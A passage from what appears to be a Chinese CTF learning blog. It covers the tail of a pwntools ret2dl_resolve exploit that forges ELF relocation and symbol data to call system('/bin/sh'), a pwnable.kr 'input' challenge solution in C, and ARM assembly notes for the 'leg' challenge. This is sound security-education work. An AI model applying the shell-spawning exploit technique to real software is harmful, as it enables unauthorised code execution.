class="comment"># dl_resolve_call第一个参数是Elf32_Rel的base，用来填上fake Rel结构体偏移的 第二个是*args，执行dl_resolve_call时函数的参数</span></span><br><span class="line">r.send(buf)</span><br><span class="line"></span><br><span class="line">buf = rop.string(<span class="string">'/bin/sh'</span>) <span class="comment"># /bin/sh是system参数</span></span><br><span class="line">buf += rop.fill(<span class="number">20</span>, buf)</span><br><span class="line"><span class="comment">## used to make faking data, such relocation, Symbol, Str</span></span><br><span class="line">buf += rop.dl_resolve_data(bss_base + <span class="number">20</span>, <span class="string">'system'</span>) <span class="comment"># 这里同时填上了Elf32_Rel结构体和Elf32_sym结构体（base+20对应前面的base+20，注意）</span></span><br><span class="line">buf += rop.fill(<span class="number">100</span>, buf)</span><br><span class="line">r.send(buf)</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure>

<p>不过在布置base的时候需要注意一下bss的内容还有一些对齐操作，必要时调试观察+修改一下base</p>
<hr>
<p>参考链接：</p>
<blockquote>
<p><a href="https://bbs.pediy.com/thread-227034.htm" target="_blank" rel="noopener">https://bbs.pediy.com/thread-227034.htm</a></p>
<p><a href="https://wiki.x10sec.org/pwn/stackoverflow/advanced_rop/" target="_blank" rel="noopener">https://wiki.x10sec.org/pwn/stackoverflow/advanced_rop/</a></p>
<p>64位参考链接：<a href="https://xz.aliyun.com/t/5722#toc-2" target="_blank" rel="noopener">https://xz.aliyun.com/t/5722#toc-2</a></p>
</blockquote>
]]></content>
      <tags>
        <tag>pwn</tag>
      </tags>
  </entry>
  <entry>
    <title>pwnable.kr——input+leg</title>
    <url>/2021/01/11/pwnable-kr%E2%80%94%E2%80%94input-leg/</url>
    <content><![CDATA[<h1 id="pwnable-kr-——-input"><a href="#pwnable-kr-——-input" class="headerlink" title="pwnable.kr —— input"></a>pwnable.kr —— input</h1><p>先看看题目代码</p>
<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20210103152433405.png" alt="image-20210103152433405" style="zoom:80%;">

<h2 id="stage1"><a href="#stage1" class="headerlink" title="stage1"></a>stage1</h2><p>要求argc值为100，就是除文件名外还需要99个参数，<code>argv[&#39;A&#39;]=&quot;\x00&quot;</code>，<code>argv[&#39;B&#39;]=&quot;\x20\x0a\x0d&quot;</code>，要满足最后<code>argv[argc]=NULL</code></p>
<h2 id="stage2"><a href="#stage2" class="headerlink" title="stage2"></a>stage2</h2><p>要求从fd:0（stdin）处读出4字节<code>\x00\x0a\x00\xff</code>，从fd:2（stderr）处读出四字节<code>\x00\x0a\x02\xff</code>，这里直接读是读不了的，要使用dup2函数将文件描述符克隆到 0和2 </p>
<h2 id="stage3"><a href="#stage3" class="headerlink" title="stage3"></a>stage3</h2><p>设置一个环境变量，好说</p>
<h2 id="stage4"><a href="#stage4" class="headerlink" title="stage4"></a>stage4</h2><p>打开一个文件名是回车的文件，读四字节<code>\x00\x00\x00\x00</code></p>
<h2 id="stage5"><a href="#stage5" class="headerlink" title="stage5"></a>stage5</h2><img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20210103153255873.png" alt="image-20210103153255873" style="zoom:80%;">

<p>这里好好学一下网络编程的一些东西，之前一直喜欢忽略</p>
<h3 id="socket函数（返回socke描述符）"><a href="#socket函数（返回socke描述符）" class="headerlink" title="socket函数（返回socke描述符）"></a>socket函数（返回socke描述符）</h3><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;sys/socket.h&gt;</span></span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">socket</span><span class="params">(<span class="keyword">int</span> family,<span class="keyword">int</span> type,<span class="keyword">int</span> protocol)</span></span>;</span><br><span class="line"><span class="comment">//返回：若成功则为非负描述符，若出错则为-1</span></span><br></pre></td></tr></table></figure>

<p>family参数指明协议簇，决定了socket的地址类型，如AF_INET决定了要用IPv4地址(32位的)与端口号(16位的)的组合、AF_UNIX要使用一个绝对路径名作为地址</p>
<table>
<thead>
<tr>
<th>family</th>
<th>说明</th>
</tr>
</thead>
<tbody><tr>
<td>AF_INET (一般用)</td>
<td>IPv4协议</td>
</tr>
<tr>
<td>AF_INET6</td>
<td>IPv6协议</td>
</tr>
<tr>
<td>AF_LOCAL</td>
<td>Unix域协议</td>
</tr>
<tr>
<td>AF_ROUTE</td>
<td>路由套接字</td>
</tr>
<tr>
<td>AF_KEY</td>
<td>密钥套接字</td>
</tr>
</tbody></table>
<p>type参数指明socket类型</p>
<table>
<thead>
<tr>
<th>type</th>
<th>说明</th>
</tr>
</thead>
<tbody><tr>
<td>SOCK_STREAM</td>
<td>字节流套接字</td>
</tr>
<tr>
<td>SOCK_DGRAM</td>
<td>数据报套接字</td>
</tr>
<tr>
<td>SOCK_SEGPACKET</td>
<td>有序分组套接字</td>
</tr>
<tr>
<td>SOCK_RAW</td>
<td>原始套接字</td>
</tr>
</tbody></table>
<p>protocol指协议，一般赋值0让系统自动选择</p>
<p>（这三个参数更详细的内容可以在<a href="https://binhack.readthedocs.io/zh/latest/os/linux/syscall/socket.html" target="_blank" rel="noopener">这里</a>找到）</p>
<h3 id="sockaddr-in结构体"><a href="#sockaddr-in结构体" class="headerlink" title="sockaddr_in结构体"></a>sockaddr_in结构体</h3><p>用来设置具体地址给bind函数当做参数，因为一些字节序的原因不直接使用sockaddr，但两者目的等价；设置好协议簇之后，IP地址的sin_addr.s_addr可以用INADDR_ANY表示本机，也可以用具体的IP地址，如<code>inet_addr(&quot;192.168.1.1&quot;)</code>；然后端口号使用<code>hton()</code>封装，转换字节序</p>
<p><strong>这里题目的意思就是将我们<code>argv[&#39;C&#39;]</code>处的值作为绑定的端口号</strong></p>
<h3 id="bind、listen、accept、recv"><a href="#bind、listen、accept、recv" class="headerlink" title="bind、listen、accept、recv"></a>bind、listen、accept、recv</h3><p>设置好结构体后此程序作为服务端程序，bind对应端口，然后监听，listen函数的第一个参数即为监听的socket描述字，第二个参数为相应socket可以排队的最大连接个数。socket()函数创建的socket默认是一个主动类型的，listen函数将socket变为被动类型的，等待客户的连接请求。</p>
<p>这里accept返回的是新的已连接的socket描述字，和前面的监听socket描述字不一样，监听socket描述字一直存在，而当服务器完成某服务后已连接的socket描述字就会被关闭</p>
<p>之后使用recv接受四字节内容</p>
<p>更加具体的描述可以看<a href="http://images.cnblogs.com/cnblogs_com/skynet/201012/201012122157467258.png" target="_blank" rel="noopener">这篇文章</a>，同时这里还有一张图表示建立连接与TCP三次握手的关系</p>
<img src="http://images.cnblogs.com/cnblogs_com/skynet/201012/201012122157467258.png">



<h2 id="solution"><a href="#solution" class="headerlink" title="solution"></a>solution</h2><p>直接上代码</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;sys/types.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;sys/stat.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;unistd.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">char</span> *P=<span class="string">"/home/pwner/Desktop/pwnable.kr/input2/input"</span>;<span class="comment">//写题时换成pwnable.kr那边的路径</span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">char</span> *Argv[<span class="number">101</span>];</span><br><span class="line">    <span class="keyword">char</span> *Envp[<span class="number">2</span>];</span><br><span class="line">    <span class="comment">//argv</span></span><br><span class="line">    <span class="keyword">int</span> i;</span><br><span class="line">    <span class="keyword">for</span>(i=<span class="number">0</span>;i&lt;<span class="number">100</span>;i++)Argv[i]=<span class="string">"\x20"</span>;</span><br><span class="line">    Argv[<span class="string">'A'</span>]=<span class="string">"\x00"</span>;</span><br><span class="line">    Argv[<span class="string">'B'</span>]=<span class="string">"\x20\x0a\x0d"</span>;</span><br><span class="line">    Argv[<span class="number">100</span>]=<span class="literal">NULL</span>;<span class="comment">//设置参数</span></span><br><span class="line">    <span class="comment">//env</span></span><br><span class="line">    Envp[<span class="number">0</span>]=<span class="string">"\xde\xad\xbe\xef=\xca\xfe\xba\xbe"</span>;</span><br><span class="line">    Envp[<span class="number">1</span>]=<span class="literal">NULL</span>;<span class="comment">//设置环境变量</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">int</span> fd1=<span class="built_in">open</span>(<span class="string">"./infile"</span> ,  O_CREAT | O_RDWR , S_IRWXU | S_IRWXO | S_IRWXG);</span><br><span class="line">    <span class="keyword">int</span> fd2=<span class="built_in">open</span>(<span class="string">"./errfile"</span>,  O_CREAT | O_RDWR , S_IRWXU | S_IRWXO | S_IRWXG);</span><br><span class="line">    <span class="comment">//这里创建两个文件打开后用于将0,2文件描述符覆盖</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">write</span>(fd1,<span class="string">"\x00\x0a\x00\xff"</span>,<span class="number">4</span>);</span><br><span class="line">    <span class="built_in">write</span>(fd2,<span class="string">"\x00\x0a\x02\xff"</span>,<span class="number">4</span>);</span><br><span class="line"></span><br><span class="line">    dup2(fd1,<span class="number">0</span>);</span><br><span class="line">    dup2(fd2,<span class="number">2</span>);</span><br><span class="line">    lseek(fd1,<span class="number">0</span>,SEEK_SET);<span class="comment">//写文件之后要调用lseek将文件指针重置一下</span></span><br><span class="line">    lseek(fd2,<span class="number">0</span>,SEEK_SET);</span><br><span class="line"></span><br><span class="line">    <span class="built_in">close</span>(fd1);<span class="built_in">close</span>(fd2);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">int</span> fd3=<span class="built_in">open</span>(<span class="string">"./\x0a"</span>,  O_CREAT | O_RDWR , S_IRWXU | S_IRWXO | S_IRWXG);<span class="comment">//这里创建需要的“回车”文件</span></span><br><span class="line">    <span class="built_in">write</span>(fd3,<span class="string">"\x00\x00\x00\x00"</span>,<span class="number">4</span>);</span><br><span class="line">    <span class="built_in">close</span>(fd3);</span><br><span class="line"></span><br><span class="line">    Argv[<span class="string">'C'</span>]=<span class="string">"8888"</span>;</span><br><span class="line"></span><br><span class="line">    execve(P,Argv,Envp);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>然后我解题的具体做法是进入pwnable服务器之后，cd /tmp ，mkdir ljc ，cd ljc ，touch solu.c , vim solu.c</p>
<p>然后把这段代码写进去，修改一下可执行文件的路径保存，再 ln -s flag /home/input2/flag 为了最后一步cat flag，gcc编译之后运行，此时就会等待stage5，再从一个新的命令行用python输入就行</p>
<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20210104202957472.png" alt="image-20210104202957472" style="zoom: 67%;">

<h1 id="pwnable-kr-——-leg"><a href="#pwnable-kr-——-leg" class="headerlink" title="pwnable.kr —— leg"></a>pwnable.kr —— leg</h1><p>一道ARM汇编的题目，来入门一下arm的汇编</p>
<h2 id="ARM学习"><a href="#ARM学习" class="headerlink" title="ARM学习"></a>ARM学习</h2><p><a href="https://azeria-labs.com/writing-arm-assembly-part-1/" target="_blank" rel="noopener">从这个教程开始</a></p>
<p>搭环境我创了一个全新的ubuntu 20 虚拟机…装了大概一天的各种依赖等等，把python2装上去了，还有什么re2c，Ninja，meson，编译安装了一个qemu，东西还挺多的，然后又琢磨了一晚上qemu树莓派虚拟机的网络问题….照着<a href="https://wiki.qemu.org/Features/HelperNetworking" target="_blank" rel="noopener">这里</a>（这里的helper最后还是没用，琢磨了一个下午也没琢磨出来。。tcl）还是用<a href="https://azeria-labs.com/emulate-raspberry-pi-with-qemu/" target="_blank" rel="noopener">教程的指导</a>把树莓派虚拟机网络问题解决了，我起qemu的命令是这样的</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">stty intr ^]</span><br><span class="line">qemu-system-arm -kernel /home/coldshield/qemu_vms/kernel-qemu-4.4.34-jessie \</span><br><span class="line">		-cpu arm1176 \</span><br><span class="line">		-m 256 \</span><br><span class="line">		-M versatilepb \</span><br><span class="line">		-serial stdio \</span><br><span class="line">		-net nic \</span><br><span class="line">		-nic tap,ifname=tap0,script=no,downscript=no\</span><br><span class="line">		-append <span class="string">"root=/dev/sda2 rootfstype=ext4 rw console=ttyAMA0,115200"</span> \</span><br><span class="line">		-hda /home/coldshield/qemu_vms/2017-03-02-raspbian-jessie.img \</span><br><span class="line">		-no-reboot</span><br></pre></td></tr></table></figure>

<p>进去之后我是设置静态DNS还有网络，然后让虚拟机和host还有外网都能ping通，（参照过<a href="https://blog.csdn.net/mculover666/article/details/105664454" target="_blank" rel="noopener">这里</a>，后来自己又谷歌了一下静态配置，用了一个静态的IP还有DNS连上我的tap），然后因为镜像的磁盘空间不够又给手动扩了个容….参照<a href="https://yushulx.medium.com/how-to-resize-raspbian-image-for-qemu-on-windows-ac0b44075d8f" target="_blank" rel="noopener">这里</a>。还有树莓派虚拟机里面的gdb只能支持python2的gef，那个教程没更新了吧可能，用<a href="https://github.com/hugsy/gef-legacy" target="_blank" rel="noopener">gef-legacy</a>就行，反正全部弄清楚是啥然后搭起来断断续续搞了两三天的样子….</p>
<p>随手记一些教程上的东西，可能会特别粗略</p>
<h3 id="常见访存指令-amp-后缀"><a href="#常见访存指令-amp-后缀" class="headerlink" title="常见访存指令&amp;后缀"></a>常见访存指令&amp;后缀</h3><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">ldr &#x3D; Load Word</span><br><span class="line">ldrh &#x3D; Load unsigned Half Word</span><br><span class="line">ldrsh &#x3D; Load signed Half Word</span><br><span class="line">ldrb &#x3D; Load unsigned Byte</span><br><span class="line">ldrsb &#x3D; Load signed Bytes</span><br><span class="line"></span><br><span class="line">str &#x3D; Store Word</span><br><span class="line">strh &#x3D; Store unsigned Half Word</span><br><span class="line">strsh &#x3D; Store signed Half Word</span><br><span class="line">strb &#x3D; Store unsigned Byte</span><br><span class="line">strsb &#x3D; Store signed Byte</span><br></pre></td></tr></table></figure>

<h3 id="一些寄存器"><a href="#一些寄存器" class="headerlink" title="一些寄存器"></a>一些寄存器</h3><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line"></span><br><span class="line">R0	–	 General purpose</span><br><span class="line">R1	–	 General purpose</span><br><span class="line">R2	–	 General purpose</span><br><span class="line">R3	–	 General purpose</span><br><span class="line">R4	–	 General purpose</span><br><span class="line">R5	–	 General purpose</span><br><span class="line">R6	–	 General purpose</span><br><span class="line">R7	–	Holds Syscall Number  系统调用号</span><br><span class="line">R8	–	 General purpose</span><br><span class="line">R9	–	 General purpose</span><br><span class="line">R10	–	 General purpose</span><br><span class="line">R11	FP	Frame Pointer         类似EBP</span><br><span class="line">R12	IP	Intra Procedural Call </span><br><span class="line">R13	SP	Stack Pointer         类似ESP,以字节为单位</span><br><span class="line">R14	LR	Link Register         函数返回时存放返回地址</span><br><span class="line">R15	PC	Program Counter       类似EIP，但实际内容不是存放next的地址，而是存放当前执行指令+2指令的地址（ARM模式值+8，Thumb模式值+4，这里应该是跟指令流水线有关？）</span><br><span class="line">CPSR	–	Current Program Status Register</span><br><span class="line"></span><br><span class="line">函数调用时前四个参数存在 r0-r3</span><br></pre></td></tr></table></figure>

<h3 id="Thumb"><a href="#Thumb" class="headerlink" title="Thumb"></a>Thumb</h3><p>When writing ARM shellcode, we need to get rid of NULL bytes and using 16-bit Thumb instructions instead of 32-bit ARM instructions reduces the chance of having them</p>
<p>可以用BX还有BLX指令设置寄存器最低位为1来切换ARM和Thumb模式，执行的时候最低位会被忽略所以不会产生地址对齐问题</p>
<p>具体的指令格式相关还是看<a href="https://azeria-labs.com/arm-instruction-set-part-3/" target="_blank" rel="noopener">教程</a>吧….这里记一个大概</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">MNEMONIC&#123;S&#125;&#123;condition&#125; &#123;Rd&#125;, Operand1, Operand2</span><br><span class="line">MNEMONIC     - 指令助记符</span><br><span class="line">&#123;S&#125;          - 可选后缀，如果设置S，flags将根据操作结果进行更新</span><br><span class="line">&#123;condition&#125;  - 执行指令所需的条件</span><br><span class="line">&#123;Rd&#125;         - 目的寄存器，用于存储指令结果（不过后续提到的ldm不是）</span><br><span class="line">Operand1     - 寄存器或者立即数 </span><br><span class="line">Operand2     - 立即数或寄存器（可用于增加、偏移）</span><br></pre></td></tr></table></figure>

<h3 id="几种寻址方式"><a href="#几种寻址方式" class="headerlink" title="几种寻址方式"></a>几种寻址方式</h3><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">ldr r2, [r0]         最普通的，有效地址就是r0的值(r0)</span><br><span class="line">ldr r1, [pc, #12]    这里有效地址是(PC)+12(arm模式 4单位对齐)，不是当前执行指令地址加12</span><br><span class="line"></span><br><span class="line">str r2, [r1, #2]     这里有效地址是(r1)+2，r1不发生更改，offset</span><br><span class="line">str r2, [r1, #4]!    这里有效地址是(r1)+4，第一操作数有感叹号，所以r1发生更改 r1&#x3D;r1+4 ，pre-indexed</span><br><span class="line">ldr r3, [r1], #4     这里有效地址是(r1)，r1发生更改 r1&#x3D;r1+4 ，post-indexed</span><br><span class="line"></span><br><span class="line">str r2, [r1, r2]</span><br><span class="line">str r2, [r1, r2]!</span><br><span class="line">ldr r3, [r1], r2</span><br><span class="line">这三种跟上面比较相似，只不过是把立即数换成了r2寄存器的值，更改的依然是r1(用r2的值相加)</span><br><span class="line"></span><br><span class="line">str r2, [r1, r2, LSL#2]   有效地址是(r1) + ((r2)&lt;&lt;2)，offset</span><br><span class="line">str r2, [r1, r2, LSL#2]!  有效地址是(r1) + ((r2)&lt;&lt;2)，r1发生更改 r1&#x3D; (r1) + ((r2)&lt;&lt;2) ，pre-indexed</span><br><span class="line">ldr r3, [r1], r2, LSL#2   有效地址是(r1)，r1发生更改 r1&#x3D; (r1) + ((r2)&lt;&lt;2) ，post-indexed</span><br></pre></td></tr></table></figure>

<p>ARM中的立即数是最后操作数12中的，前8位（n）和后4位（r）的组合表示， v = n ror 2*r，循环右移得到，用于12位表示32位数</p>
<h3 id="访存指令-Multiple-amp-后缀"><a href="#访存指令-Multiple-amp-后缀" class="headerlink" title="访存指令(Multiple)&amp;后缀"></a>访存指令(Multiple)&amp;后缀</h3><p>这里有一串类似猝发式传送的指令</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">adr r0, words+12             &#x2F;* address of words[3] -&gt; r0 ，adr是取地址的指令*&#x2F;</span><br><span class="line">ldr r1, array_buff_bridge    &#x2F;* address of array_buff[0] -&gt; r1 *&#x2F;</span><br><span class="line">ldr r2, array_buff_bridge+4  &#x2F;* address of array_buff[2] -&gt; r2 *&#x2F;</span><br><span class="line"></span><br><span class="line">ldm r0, &#123;r4,r5&#125;              &#x2F;* words[3] -&gt; r4 &#x3D; 0x03; words[4] -&gt; r5 &#x3D; 0x04 *&#x2F;</span><br><span class="line">&#x2F;&#x2F;ldm：load多个数据到目的寄存器，这里是将r0指向的连续内存数据分别load到r4 r5，默认情况下是r0增加的连续方向，此时执行后r0的值不会变</span><br><span class="line">stm r1, &#123;r4,r5&#125;              &#x2F;* r4 -&gt; array_buff[0] &#x3D; 0x03; r5 -&gt; array_buff[1] &#x3D; 0x04 *&#x2F;</span><br><span class="line">&#x2F;&#x2F;stm则是将r4 45中的内容存到r1所指的连续内存，默认也是r0增加方向，此时r1值不改变</span><br><span class="line"></span><br><span class="line">ldmia r0, &#123;r4-r6&#125;            &#x2F;* words[3] -&gt; r4 &#x3D; 0x03, words[4] -&gt; r5 &#x3D; 0x04; words[5] -&gt; r6 &#x3D; 0x05; *&#x2F;</span><br><span class="line">stmia r1, &#123;r4-r6&#125;            &#x2F;* r4 -&gt; array_buff[0] &#x3D; 0x03; r5 -&gt; array_buff[1] &#x3D; 0x04; r6 -&gt; array_buff[2] &#x3D; 0x05 *&#x2F;</span><br><span class="line">&#x2F;&#x2F;这里是后缀的介绍还有指令写法可以写成r4-46，这样就是存3个了</span><br><span class="line">&#x2F;&#x2F;后缀具体代表 -IA (increase after), -IB (increase before), -DA (decrease after), -DB (decrease before)</span><br><span class="line"></span><br><span class="line">ldmib r0, &#123;r4-r6&#125;            &#x2F;* words[4] -&gt; r4 &#x3D; 0x04; words[5] -&gt; r5 &#x3D; 0x05; words[6] -&gt; r6 &#x3D; 0x06 *&#x2F;</span><br><span class="line">stmib r1, &#123;r4-r6&#125;            &#x2F;* r4 -&gt; array_buff[1] &#x3D; 0x04; r5 -&gt; array_buff[2] &#x3D; 0x05; r6 -&gt; array_buff[3] &#x3D; 0x06 *&#x2F;</span><br><span class="line">ldmda r0, &#123;r4-r6&#125;            &#x2F;* words[3] -&gt; r6 &#x3D; 0x03; words[2] -&gt; r5 &#x3D; 0x02; words[1] -&gt; r4 &#x3D; 0x01 *&#x2F;</span><br><span class="line">ldmdb r0, &#123;r4-r6&#125;            &#x2F;* words[2] -&gt; r6 &#x3D; 0x02; words[1] -&gt; r5 &#x3D; 0x01; words[0] -&gt; r4 &#x3D; 0x00 *&#x2F;</span><br><span class="line">stmda r2, &#123;r4-r6&#125;            &#x2F;* r6 -&gt; array_buff[2] &#x3D; 0x02; r5 -&gt; array_buff[1] &#x3D; 0x01; r4 -&gt; array_buff[0] &#x3D; 0x00 *&#x2F;</span><br><span class="line">stmdb r2, &#123;r4-r5&#125;            &#x2F;* r5 -&gt; array_buff[1] &#x3D; 0x01; r4 -&gt; array_buff[0] &#x3D; 0x00; *&#x2F;</span><br><span class="line">&#x2F;&#x2F;后缀的不同用法，I(x)时指令后面的寄存器操作顺序是顺着来的，D(x)时指令后面的寄存器操作顺序是逆着来的，要注意差别。这里第一个寄存器都不会发生改变</span><br><span class="line"></span><br><span class="line">bx lr</span><br></pre></td></tr></table></figure>

<h3 id="push-amp-pop"><a href="#push-amp-pop" class="headerlink" title="push&amp;pop"></a>push&amp;pop</h3><p>ARM中虽然直接写stmdb sp!, {r0, r1}    ldmia sp!, {r4, r5} 在汇编会被翻译为 push {r0, r1}    pop {r4, r5}<br>但push , pop本质上是stmdb sp!和ldmia sp!的代名词</p>
<p>所以push操作时是先push r1再push r0，从右到左；pop操作时是先pop r4再pop r5，从左到右；</p>
<h3 id="条件执行相关"><a href="#条件执行相关" class="headerlink" title="条件执行相关"></a>条件执行相关</h3><p>下表列出了ARM中可用的条件代码，它们的含义以及测试的标志，条件码跟着指令助记符满足指令格式就行，比如addlt,addsne</p>
<table>
<thead>
<tr>
<th>Condition Code</th>
<th>Meaning (for cmp or subs)</th>
<th>Status of Flags</th>
</tr>
</thead>
<tbody><tr>
<td>EQ</td>
<td>Equal</td>
<td>Z==1</td>
</tr>
<tr>
<td>NE</td>
<td>Not Equal</td>
<td>Z==0</td>
</tr>
<tr>
<td>GT</td>
<td>Signed Greater Than</td>
<td>(Z==0) &amp;&amp; (N==V)</td>
</tr>
<tr>
<td>LT</td>
<td>Signed Less Than</td>
<td>N!=V</td>
</tr>
<tr>
<td>GE</td>
<td>Signed Greater Than or Equal</td>
<td>N==V</td>
</tr>
<tr>
<td>LE</td>
<td>Signed Less Than or Equal</td>
<td>(Z==1) || (N!=V)</td>
</tr>
<tr>
<td>CS or HS</td>
<td>Unsigned Higher or Same (or Carry Set)</td>
<td>C==1</td>
</tr>
<tr>
<td>CC or LO</td>
<td>Unsigned Lower (or Carry Clear)</td>
<td>C==0</td>
</tr>
<tr>
<td>MI</td>
<td>Negative (or Minus)</td>
<td>N==1</td>
</tr>
<tr>
<td>PL</td>
<td>Positive (or Plus)</td>
<td>N==0</td>
</tr>
<tr>
<td>AL</td>
<td>Always executed</td>
<td>–</td>
</tr>
<tr>
<td>NV</td>
<td>Never executed</td>
<td>–</td>
</tr>
<tr>
<td>VS</td>
<td>Signed Overflow</td>
<td>V==1</td>
</tr>
<tr>
<td>VC</td>
<td>No signed Overflow</td>
<td>V==0</td>
</tr>
<tr>
<td>HI</td>
<td>Unsigned Higher</td>
<td>(C==1) &amp;&amp; (Z==0)</td>
</tr>
<tr>
<td>LS</td>
<td>Unsigned Lower or same</td>
<td>(C==0) || (Z==0)</td>
</tr>
</tbody></table>
<p>Thumb模式下有分支条件执行，语法格式是这样的</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">Syntax: IT&#123;x&#123;y&#123;z&#125;&#125;&#125; cond  ,IT指令之后会跟一个条件执行块，最多四条指令，这四条指令的条件都由这条IT指令指出</span><br><span class="line"></span><br><span class="line">cond specifies the condition for the first instruction in the IT block（cond指出第一条指令的执行条件）</span><br><span class="line">x specifies the condition switch for the second instruction in the IT block（x指出第二条指令执行的条件是不是和cond一样，如果x是T，那么第二条指令和cond条件相同；如果是E，那么第二条指令和cond条件相反）</span><br><span class="line">y specifies the condition switch for the third instruction in the IT block（同上）</span><br><span class="line">z specifies the condition switch for the fourth instruction in the IT block（同上）</span><br></pre></td></tr></table></figure>

<p>所以Thumb模式下的条件执行指令块看起来就是这样的（这里直接偷图了）：</p>
<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20210111000847458.png" alt="image-20210111000847458" style="zoom:80%;">

<p>里面每个指令都是带条件的，并且符合IT指令的声明，常见的条件和相反条件有如下几个</p>
<table>
<thead>
<tr>
<th>Code</th>
<th>Meaning</th>
<th>Code</th>
<th>Meaning</th>
</tr>
</thead>
<tbody><tr>
<td>EQ</td>
<td>Equal</td>
<td>NE</td>
<td>Not Equal</td>
</tr>
<tr>
<td>HS (or CS)</td>
<td>Unsigned higher or same (or carry set)</td>
<td>LO (or CC)</td>
<td>Unsigned lower (or carry clear)</td>
</tr>
<tr>
<td>MI</td>
<td>Negative</td>
<td>PL</td>
<td>Positive or Zero</td>
</tr>
<tr>
<td>VS</td>
<td>Signed Overflow</td>
<td>VC</td>
<td>No Signed Overflow</td>
</tr>
<tr>
<td>HI</td>
<td>Unsigned Higher</td>
<td>LS</td>
<td>Unsigned Lower or Same</td>
</tr>
<tr>
<td>GE</td>
<td>Signed Greater Than or Equal</td>
<td>LT</td>
<td>Signed Less Than</td>
</tr>
<tr>
<td>GT</td>
<td>Signed Greater Than</td>
<td>LE</td>
<td>Signed Less Than or Equal</td>
</tr>
<tr>
<td>AL (or omitted)</td>
<td>Always Executed</td>
<td>(There is no opposite to AL)</td>
<td></td>
</tr>
</tbody></table>
<p>这里还有一段比较典型的将ARM切换成Thumb模式的代码：</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">.syntax unified    @ this is important!</span><br><span class="line">.text</span><br><span class="line">.global _start</span><br><span class="line"></span><br><span class="line">_start:</span><br><span class="line">    .code 32</span><br><span class="line">    add r3, pc, #1   @ increase value of PC by 1 and add it to R3，执行到这里时PC指向cmp指令</span><br><span class="line">    bx r3            @ branch + exchange to the address in R3 -&gt; switch to Thumb state because LSB &#x3D; 1</span><br><span class="line"></span><br><span class="line">    .code 16         @ Thumb state</span><br><span class="line">    cmp r0, #10      </span><br><span class="line">    ite eq           @ if R0 is equal 10...</span><br><span class="line">    addeq r1, #2     @ ... then R1 &#x3D; R1 + 2</span><br><span class="line">    addne r1, #3     @ ... else R1 &#x3D; R1 + 3</span><br><span class="line">    bkpt</span><br></pre></td></tr></table></figure>

<h3 id="分支指令（跳转）"><a href="#分支指令（跳转）" class="headerlink" title="分支指令（跳转）"></a>分支指令（跳转）</h3><p>三种分支指令：</p>
<ul>
<li>Branch (B)<ul>
<li>简单跳转</li>
</ul>
</li>
<li>Branch link (BL)<ul>
<li>将(当前执行指令地址+4)存入LR寄存器再跳转</li>
</ul>
</li>
<li>Branch exchange (BX) and Branch link exchange (BLX)<ul>
<li>和B/BL指令一样步骤 然后最低位为1时会切换模式 (ARM &lt;-&gt; Thumb)</li>
<li>必须用寄存器作为操作数</li>
</ul>
</li>
</ul>
<p>然后就是加上条件执行变成条件跳转了（跳转之后由于PC特性，会多读跳转目的处两条指令，实现自动PC+8？）</p>
<h3 id="函数栈"><a href="#函数栈" class="headerlink" title="函数栈"></a>函数栈</h3><p>先来看一个函数代码对应的汇编</p>
<p>main函数</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"> <span class="keyword">int</span> res = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">int</span> a = <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">int</span> b = <span class="number">2</span>;</span><br><span class="line"> res = <span class="built_in">max</span>(a, b);</span><br><span class="line"> <span class="keyword">return</span> res;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

